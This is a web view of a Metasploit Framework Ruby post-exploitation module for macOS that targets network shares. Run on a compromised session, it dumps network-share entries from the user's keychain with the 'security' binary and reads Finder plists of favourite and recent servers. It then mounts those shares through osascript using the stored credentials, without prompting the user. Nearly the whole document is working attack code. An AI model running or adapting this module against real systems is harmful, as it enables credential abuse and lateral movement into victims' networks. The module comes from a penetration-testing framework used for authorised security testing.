Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/manage/mount_share.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
# list of accepted file share protocols. other "special" URLs (like vnc://) will be ignored.
9
FILE_SHARE_PROTOCOLS = %w[smb nfs cifs ftp afp]
10
11
# Used to parse a name property from a plist
12
NAME_REGEXES = [/^Name = "(.*)";$/, /^Name = (.*);$/]
13
14
# Used to parse a URL property from a plist
15
URL_REGEX = /^URL = "(.*)";$/
16
17
include Msf::Post::File
18
19
def initialize(info = {})
20
super(
21
update_info(
22
info,
23
'Name' => 'OSX Network Share Mounter',
24
'Description' => %q{
25
This module lists saved network shares and tries to connect to them using stored
26
credentials. This does not require root privileges.
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'Peter Toth <globetother[at]gmail.com>',
31
'joev'
32
],
33
'Platform' => [ 'osx' ],
34
'SessionTypes' => [ 'meterpreter', 'shell' ],
35
'Actions' => [
36
[ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ],
37
[ 'MOUNT', { 'Description' => 'Mount a network shared volume using stored credentials' } ],
38
[ 'UMOUNT', { 'Description' => 'Unmount a mounted volume' } ]
39
],
40
'DefaultAction' => 'LIST',
41
'Notes' => {
42
'Stability' => [CRASH_SAFE],
43
'SideEffects' => [IOC_IN_LOGS],
44
'Reliability' => []
45
}
46
)
47
)
48
49
register_options(
50
[
51
OptString.new('VOLUME', [true, 'Name of network share volume. `set ACTION LIST` to get a list.', 'localhost']),
52
OptEnum.new('PROTOCOL', [true, 'Network share protocol.', 'smb', FILE_SHARE_PROTOCOLS])
53
]
54
)
55
56
register_advanced_options(
57
[
58
OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']),
59
OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']),
60
OptString.new('SIDEBAR_PLIST_PATH', [true, 'Path to the finder sidebar plist.', '~/Library/Preferences/com.apple.sidebarlists.plist']),
61
OptString.new('RECENT_PLIST_PATH', [true, 'Path to the finder recent plist.', '~/Library/Preferences/com.apple.recentitems.plist'])
62
]
63
)
64
end
65
66
def run
67
username = cmd_exec('whoami').strip
68
security_path = datastore['SECURITY_PATH'].shellescape
69
sidebar_plist_path = datastore['SIDEBAR_PLIST_PATH'].gsub(/^~/, "/Users/#{username}").shellescape
70
recent_plist_path = datastore['RECENT_PLIST_PATH'].gsub(/^~/, "/Users/#{username}").shellescape
71
72
if action.name == 'LIST'
73
if file?(security_path)
74
saved_shares = get_keyring_shares(security_path)
75
if saved_shares.empty?
76
print_status('No Network Share credentials were found in the keyrings')
77
else
78
print_status('Network shares saved in keyrings:')
79
print_status(" Protocol\tShare Name")
80
saved_shares.each do |line|
81
print_good(" #{line}")
82
end
83
end
84
else
85
print_error('Could not check keyring contents: Security binary not found.')
86
end
87
if file?(sidebar_plist_path)
88
favorite_shares = get_favorite_shares(sidebar_plist_path)
89
if favorite_shares.empty?
90
print_status('No favorite shares were found')
91
else
92
print_status('Favorite shares (without stored credentials):')
93
print_status(" Protocol\tShare Name")
94
favorite_shares.each do |line|
95
print_uri(line)
96
end
97
end
98
else
99
print_error('Could not check sidebar favorites contents: Sidebar plist not found')
100
end
101
if file?(recent_plist_path)
102
recent_shares = get_recent_shares(recent_plist_path)
103
if recent_shares.empty?
104
print_status('No recent shares were found')
105
else
106
print_status('Recent shares (without stored credentials):')
107
print_status(" Protocol\tShare Name")
108
recent_shares.each do |line|
109
print_uri(line)
110
end
111
end
112
else
113
print_error('Could not check recent favorites contents: Recent plist not found')
114
end
115
mounted_shares = get_mounted_volumes
116
if mounted_shares.empty?
117
print_status('No volumes found in /Volumes')
118
else
119
print_status('Mounted Volumes:')
120
mounted_shares.each do |line|
121
print_good(" #{line}")
122
end
123
end
124
elsif action.name == 'MOUNT'
125
mount
126
elsif action.name == 'UMOUNT'
127
umount
128
end
129
end
130
131
# Returns the network shares stored in the user's keychain. These shares will often have
132
# creds attached, so mounting occurs without prompting the user for a password.
133
# @return [Array<String>] sorted list of volumes stored in the user's keychain
134
def get_keyring_shares(security_path)
135
# Grep for desc srvr and ptcl
136
data = cmd_exec("#{security_path} dump")
137
lines = data.lines.select { |line| line =~ /desc|srvr|ptcl/ }.map(&:strip)
138
139
# Go through the list, find the saved Network Password descriptions
140
# and their corresponding ptcl and srvr attributes
141
list = []
142
lines.each_with_index do |line, x|
143
# Remove everything up to the double-quote after the equal sign,
144
# and also the trailing double-quote
145
next unless line =~ /"desc"<blob>=("Network Password"|<NULL>)/ && x < lines.length - 2 && (lines[x + 1].match "^.*\=\"(.*)\w*\"\w*$")
146
147
protocol = ::Regexp.last_match(1)
148
if protocol.start_with?(*FILE_SHARE_PROTOCOLS) && lines[x + 2].match("^.*\=\"(.*)\"\w*$")
149
server = ::Regexp.last_match(1)
150
list.push(protocol + "\t" + server)
151
end
152
end
153
list.sort
154
end
155
156
# Returns the user's "Favorite Shares". To add a Favorite Share on OSX, press cmd-k in Finder, enter
157
# an address, then click the [+] button next to the address field.
158
# @return [Array<String>] sorted list of volumes saved in the user's "Recent Shares"
159
def get_favorite_shares(sidebar_plist_path)
160
# Grep for URL
161
data = cmd_exec("defaults read #{sidebar_plist_path} favoriteservers")
162
list = data.lines.map(&:strip).map { |line| line =~ URL_REGEX && ::Regexp.last_match(1) }.compact
163
164
# Grep for EntryType and Name
165
data = cmd_exec("defaults read #{sidebar_plist_path} favorites")
166
lines = data.lines.map(&:strip).select { |line| line =~ /EntryType|Name/ }
167
168
# Go through the list, find the rows with EntryType 8 and their corresponding name
169
lines.each_with_index do |line, x|
170
if line =~ /EntryType = 8;/ && x < lines.length - 1 && NAME_REGEXES.any? { |r| lines[x + 1].strip =~ r }
171
list.push(::Regexp.last_match(1))
172
end
173
end
174
175
list.sort
176
end
177
178
# Returns the user's "Recent Shares" list
179
# @return [Array<String>] sorted list of volumes saved in the user's "Recent Shares"
180
def get_recent_shares(recent_plist_path)
181
# Grep for Name
182
data = cmd_exec("defaults read #{recent_plist_path} Hosts")
183
data.lines.map(&:strip).map { |line| line =~ URL_REGEX && ::Regexp.last_match(1) }.compact.uniq.sort
184
end
185
186
# @return [Array<String>] sorted list of mounted volume names
187
def get_mounted_volumes
188
cmd_exec('ls /Volumes').lines.map(&:strip).sort
189
end
190
191
def mount
192
share_name = datastore['VOLUME']
193
protocol = datastore['PROTOCOL']
194
print_status("Connecting to #{protocol}://#{share_name}")
195
cmd_exec("#{osascript_path} -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'")
196
end
197
198
def umount
199
share_name = datastore['VOLUME']
200
print_status("Disconnecting from #{share_name}")
201
cmd_exec("#{osascript_path} -e 'tell app \"finder\" to eject \"#{share_name}\"'")
202
end
203
204
# hook cmd_exec to print a debug message when DEBUG=true
205
def cmd_exec(cmd)
206
vprint_status(cmd)
207
super
208
end
209
210
# Prints a file share url (e.g. smb://joe.com) as Protocol + \t + Host
211
# @param [String] line the URL to parse and print formatted
212
def print_uri(line)
213
if line =~ %r{^(.*?)://(.*)$}
214
print_good " #{::Regexp.last_match(1)}\t#{::Regexp.last_match(2)}"
215
else
216
print_good " #{line}"
217
end
218
end
219
220
# path to osascript on the remote system
221
def osascript_path
222
datastore['OSASCRIPT_PATH'].shellescape
223
end
224
end
225
226